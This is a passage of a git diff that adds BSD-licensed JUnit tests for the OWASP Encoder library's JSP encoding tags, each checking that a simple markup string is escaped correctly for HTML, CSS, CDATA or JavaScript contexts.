+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE.
+
+-->
+<project name="JSP">
+ <body>
+ </body>
+</project> \ No newline at end of file
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/EncodingTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/EncodingTagTest.java
new file mode 100644
index 0000000..4f49e8b
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/EncodingTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder.tag;
+
+import junit.framework.TestCase;
+import org.springframework.mock.web.MockHttpServletRequest;
+import org.springframework.mock.web.MockHttpServletResponse;
+import org.springframework.mock.web.MockPageContext;
+import org.springframework.mock.web.MockServletContext;
+
+/**
+ * EncodingTagTest is the base class for all unit tests for the tags.
+ * This sets up the ServletContext so that tags can be tested.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public abstract class EncodingTagTest extends TestCase {
+
+ protected MockServletContext _servletContext;
+ protected MockPageContext _pageContext;
+ protected MockHttpServletRequest _request;
+ protected MockHttpServletResponse _response;
+
+ /**
+ * Constructor for the EncodingTagTest
+ * @param testName the name of the test
+ */
+ public EncodingTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ _servletContext = new MockServletContext();
+ _request = new MockHttpServletRequest();
+ _response = new MockHttpServletResponse();
+ _pageContext = new MockPageContext(_servletContext, _request, _response);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForCDATATagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForCDATATagTest.java
new file mode 100644
index 0000000..c8e3847
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForCDATATagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForCDATATag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForCDATATagTest extends EncodingTagTest {
+
+ public ForCDATATagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForCDATATag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForCDATATag instance = new ForCDATATag();
+ String value = "<div>]]></div>";
+ String expected = "<div>]]]]><![CDATA[></div>";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForCssStringTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForCssStringTagTest.java
new file mode 100644
index 0000000..0c9d6e8
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForCssStringTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForCssStringTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForCssStringTagTest extends EncodingTagTest {
+
+ public ForCssStringTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForCssStringTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForCssStringTag instance = new ForCssStringTag();
+ String value = "<div>";
+ String expected = "\\3c div\\3e";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForCssUrlTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForCssUrlTagTest.java
new file mode 100644
index 0000000..77936c3
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForCssUrlTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForCssUrlTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForCssUrlTagTest extends EncodingTagTest {
+
+ public ForCssUrlTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForCssUrlTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForCssUrlTag instance = new ForCssUrlTag();
+ String value = "\\';";
+ String expected = "\\5c\\27;";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected, results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlAttributeTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlAttributeTagTest.java
new file mode 100644
index 0000000..3c0c64f
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlAttributeTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForHtmlAttributeTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForHtmlAttributeTagTest extends EncodingTagTest {
+
+ public ForHtmlAttributeTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForHtmlAttributeTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForHtmlAttributeTag instance = new ForHtmlAttributeTag();
+ String value = "<div>";
+ String expected = "&lt;div>";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlContentTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlContentTagTest.java
new file mode 100644
index 0000000..ef6e389
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlContentTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForHtmlContentTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForHtmlContentTagTest extends EncodingTagTest {
+
+ public ForHtmlContentTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForHtmlContentTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForHtmlContentTag instance = new ForHtmlContentTag();
+ String value = "<div>";
+ String expected = "&lt;div&gt;";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlTagTest.java
new file mode 100644
index 0000000..03897a7
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForHtmlTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForHtmlTagTest extends EncodingTagTest {
+
+ public ForHtmlTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForHtmlTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForHtmlTag instance = new ForHtmlTag();
+ String value = "<div>";
+ String expected = "&lt;div&gt;";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlUnquotedAttributeTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlUnquotedAttributeTagTest.java
new file mode 100644
index 0000000..bce53a4
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForHtmlUnquotedAttributeTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForHtmlUnquotedAttributeTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForHtmlUnquotedAttributeTagTest extends EncodingTagTest {
+
+ public ForHtmlUnquotedAttributeTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForHtmlUnquotedAttributeTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForHtmlUnquotedAttributeTag instance = new ForHtmlUnquotedAttributeTag();
+ String value = "<div> </div>";
+ String expected = "&lt;div&gt;&#32;&lt;&#47;div&gt;";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptAttributeTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptAttributeTagTest.java
new file mode 100644
index 0000000..ad38c07
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptAttributeTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+package org.owasp.encoder.tag;
+
+/**
+ * Simple tests for the ForJavaScriptAttributeTag.
+ *
+ * @author Jeremy Long (jeremy.long@gmail.com)
+ */
+public class ForJavaScriptAttributeTagTest extends EncodingTagTest {
+
+ public ForJavaScriptAttributeTagTest(String testName) {
+ super(testName);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ /**
+ * Test of doTag method, of class ForJavaScriptAttributeTag.
+ * This is a very simple test that doesn't fully
+ * exercise/test the encoder - only that the
+ * tag itself works.
+ * @throws Exception is thrown if the tag fails.
+ */
+ public void testDoTag() throws Exception {
+ System.out.println("doTag");
+ ForJavaScriptAttributeTag instance = new ForJavaScriptAttributeTag();
+ String value = "<div>\"\'";
+ String expected = "<div>\\x22\\x27";
+ instance.setJspContext(_pageContext);
+ instance.setValue(value);
+ instance.doTag();
+ String results = _response.getContentAsString();
+ assertEquals(expected,results);
+ }
+}
diff --git a/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptBlockTagTest.java b/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptBlockTagTest.java
new file mode 100644
index 0000000..75cf97e
--- /dev/null
+++ b/jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptBlockTagTest.java
@@ -0,0 +1,77 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
